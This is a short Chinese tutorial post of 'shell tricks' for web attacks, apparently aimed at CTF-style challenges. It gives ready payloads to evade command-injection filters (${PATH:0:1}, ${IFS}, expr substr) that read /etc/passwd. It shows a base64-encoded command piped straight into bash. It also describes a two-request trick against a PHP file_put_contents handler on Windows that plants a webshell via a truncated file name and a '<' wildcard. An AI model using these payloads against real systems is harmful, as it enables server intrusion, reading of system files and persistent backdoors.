Java教程

shell小技巧

本文主要是介绍shell小技巧,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.过滤了 空格 . / ; ` ' > 等字符,怎么执行任意命令

首先执行一下env命令,看看环境变量里有哪些可以用到的变量。比如:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

那么字符“/”就可以用${PATH:0:1}代替。

又比如有个变量是PHP_VERSION=5.6.30,所以就可以用${PHP_VERSION:1:1}代替。

空格的替代比较多,比如%09 %0a ,还有${IFS}

/等符号替代 cat $(expr substr $PATH 1 1)etc$(expr substr $PATH 1 1)passwd

2.base64+管道符来执行命令

将任意命令base64编码以后,直接执行echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash 即可。

3.有下列代码

<?php
$filename = __DIR__ . '/tmp/' . $user['name'];
$data = $user['info'];

file_put_contents($filename, $data);
// ...一些处理
if (file_exists($filename)) {
	unlink($filename);
}
?>

windows下有以下方法:
info=webshell&name=1.php:test
info=webshell&name=1.ph<

依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。
(其他方法:条件竞争;php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog)

这篇关于shell小技巧的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!